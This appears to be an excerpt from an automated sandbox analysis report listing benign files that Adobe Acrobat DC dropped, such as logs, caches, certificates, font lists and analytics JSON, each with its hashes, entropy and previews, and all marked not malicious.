Preview:	2025/01/10-21:08:33.289 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:08:33.297 1d30 Recovering log #3.2025/01/10-21:08:33.310 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.156032297538616
Encrypted:	false
SSDEEP:	6:iO4qDyq2PcNwi2nKuAl9OmbzNMxIFUtSqG1ZmwsqCRkwOcNwi2nKuAl9OmbzNMFd:7EvLZHAa8jFUti1/M54ZHAa84J
MD5:	60C9B1941AC4B0E669E966309F91C7D7
SHA1:	E8047C3E0114665C69D5E9977CB2B80B4A0427D0
SHA-256:	CF0DC1A394E6FD77839AA9408AD1B9BDA48652454158A8E7104E3C67F8C30510
SHA-512:	70A8B3B72918BED6C16A141141E5077E505D4D3EDA3FF47748AED476A79E6B29E6E4FC29DBEF8ADADE675AB54B48B83860E13C9B12E1FB7EA3B11C7E7E548600
Malicious:	false
Preview:	2025/01/10-21:08:33.289 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:08:33.297 1d30 Recovering log #3.2025/01/10-21:08:33.310 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438954080305361
Encrypted:	false
SSDEEP:	384:yeaci5GqiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1KurVgazUpUTTGt
MD5:	3A5655310345D463BCFB33B82F8717FC
SHA1:	3A4FBF90E93B3358DB59A26E7A37DEC6BC0E9BAF
SHA-256:	15FB4C1355F821171B3E0F700ABAA4348216BEF653AEB2A34A90073F135B77A1
SHA-512:	BC4D9F1F2471748FA3011C507E43226E134A9F502EEC05ABA967694F429D429CBD801404AB3FA4277813154F09681962B1F215DAC5133CFD3BD8F39353C2386D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.775104059111211
Encrypted:	false
SSDEEP:	96:7Opjun00iAyNXKQDzukfb9IVXEBodRBk4:7Oc8zSkfjedRBn
MD5:	C66D1BD8E6F456249BF4A82EE0A2F74A
SHA1:	E62705DAFB948CDE85E207A45E24BA2190EF6076
SHA-256:	ABC73CA1D438EC309ACD20E5F009804F4C2F1E653A01993BBD89726223712301
SHA-512:	3596A67666BA6345EF1F4BF73F29CEE7332BAA471B927D176F26256FA64DD237C03BC4E1B8C343B12E1C684279CC63BC5E8B253A864CCB5482804B8A33A96AF1
Malicious:	false
Preview:	.... .c.....f.\|...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklaT/tfllXlE/HT8k6x/h/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKDLeT8z7NMa8RdWBwRd
MD5:	0841CE124A237FEC5B11128731A49918
SHA1:	06BA734753FE90F6479A7AB4A6A341D639778FE9
SHA-256:	72D86E4FDC7BE907D13D906DB78BDEB0D83248BB39C9FB911EE1717F82674609
SHA-512:	3A87441FB1BE956738FD077FF39EE07C7B5F23C5B2328BE8973BC8CE273E600E5891F1C363388781AB8528F9CF1BFB86DE4A143F540EDF9BBEC8A5005437A05A
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKPtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tiDImsLNkPlE99SNxAhUe/3
MD5:	189361A8BCFFD91493019C424B36F828
SHA1:	CBE30119D729A92E4960B0545F6741FEE325C425
SHA-256:	D968EAA0C96CAB975D31D679FA3A6EE5FA09DCDD0C48513A6027449BE0C56DA2
SHA-512:	C9B76C6FDD2977B1879D6ED469B4D50AC86891B79D71CAEC812D89E0C7DE416B8565657BBDAF5E5CFD157E30DF41F905A2C2E04E90FC9085A7436EA2054CF43D
Malicious:	false
Preview:	p...... ........F....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6372

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6372

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37382777658607
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJM3g98kUwPeUkwRe9:YvXKX6cE1bsdTeO3nRsGMbLUkee9
MD5:	161910DC2171EA1BC588045DCE1BE80C
SHA1:	E2062DD74DF027B632C2958BA47BDB576679DC77
SHA-256:	BCFCAFD1E670F514933E57389DAC631B5CA567D8FAB81D55CECF893223F353EC
SHA-512:	4CFD831E37B6B935395DED8F5319FA559E437FDDED425FC89DA3217318F902E9FBECF39BEC10F02DA42C3111975D4F83C1DC6AA218A5B13A1BEE08E34FA68908
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.308955186977661
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfBoTfXpnrPeUkwRe9:YvXKX6cE1bsdTeO3nRsGWTfXcUkee9
MD5:	A84E35CF3E14B33FCCB276FE65D31E23
SHA1:	142F492E973EAA516CBD6FAC364CB7F94875C8F3
SHA-256:	DD82AAF4FDC25F78F171596B5F85B8C9A06972124B84B4A692D28DBF8DCAEB00
SHA-512:	0F4C4AE377E2310D006EF6CA5C9E995C0DE69E37C8568A5DF657D4640219A4B20FAAA91ACBEF54EBBDC902B3F6954D280CE0536F217F88BEDB82072763F0801E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288714514634657
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfBD2G6UpnrPeUkwRe9:YvXKX6cE1bsdTeO3nRsGR22cUkee9
MD5:	E38A57CE43BE0C905B563703E1F51C87
SHA1:	180D65F8188D7E51D7864056E800EC87AE1C906D
SHA-256:	E99005DB08289330E7D98D510943E571EA78713084287097D0468DB22A371A48
SHA-512:	6111795D5DC615A81DBA5700321D15DB07B56BF0A1B6E86DCB1390425D3913DE28974DF907506390E58FFA7FD088C19246D12890E18C91E91A65863DB5989566
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.361073251329268
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfPmwrPeUkwRe9:YvXKX6cE1bsdTeO3nRsGH56Ukee9
MD5:	2969851C354998FE8CB15BBE5467E1D4
SHA1:	ED70D2A49C9F196463D1E176AFF40907F30B14C3
SHA-256:	D6C8EFB1B1352FCE6E6E7793AECDE4EB4B536F96CD5DD094C03F41B821BA0DF1
SHA-512:	4CB018C5616A0B0E32F69ED3D197C64D808B66DFF73F6D6AB17879E931563BC56E6BCE91AE3A4A54F3A0989AF7AE1E1551A22033F6BF856B5B726DDC288BD3D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688328344011285
Encrypted:	false
SSDEEP:	24:Yv6X6cE1bmeO3RJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSx:YvOesRJhgy6SAFv5Ah8cv/x
MD5:	6BE81F19299ABC403271671578B09E2E
SHA1:	09853FE93B0181EA0D4C21E9691CA5FF7E4DB732
SHA-256:	D34C3EC3179509E418A173CBB4372B6550729C915DED472199880848EFA7623A
SHA-512:	AA24C454BF5019A95E3F40A227F4EC73E047DF451255DA0352E7C6482A9A66C3248199EF0509024323B450C0780E5AB91DFDA9C6F691B8BD8D67B4993EDE3352
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297251970777337
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJf8dPeUkwRe9:YvXKX6cE1bsdTeO3nRsGU8Ukee9
MD5:	E728495E9199F4C13C18C530D5E81C52
SHA1:	BD6B6C5BDDA9CCFCC6A0884BC8934B8E54F8E3FC
SHA-256:	DEA353E0153D9FB8E1612D4CFF8F586F626D6889883189091DAC4AA1B7E7BA3D
SHA-512:	73FC4D451DF0ECA15215F556193BE67B348093834D477F6722293D84DBA19296CD280F61F357E78389BFA9FAA610C2C2BEE7AC2E4E5E602CA4C723E3E1576BE0
Malicious:	false
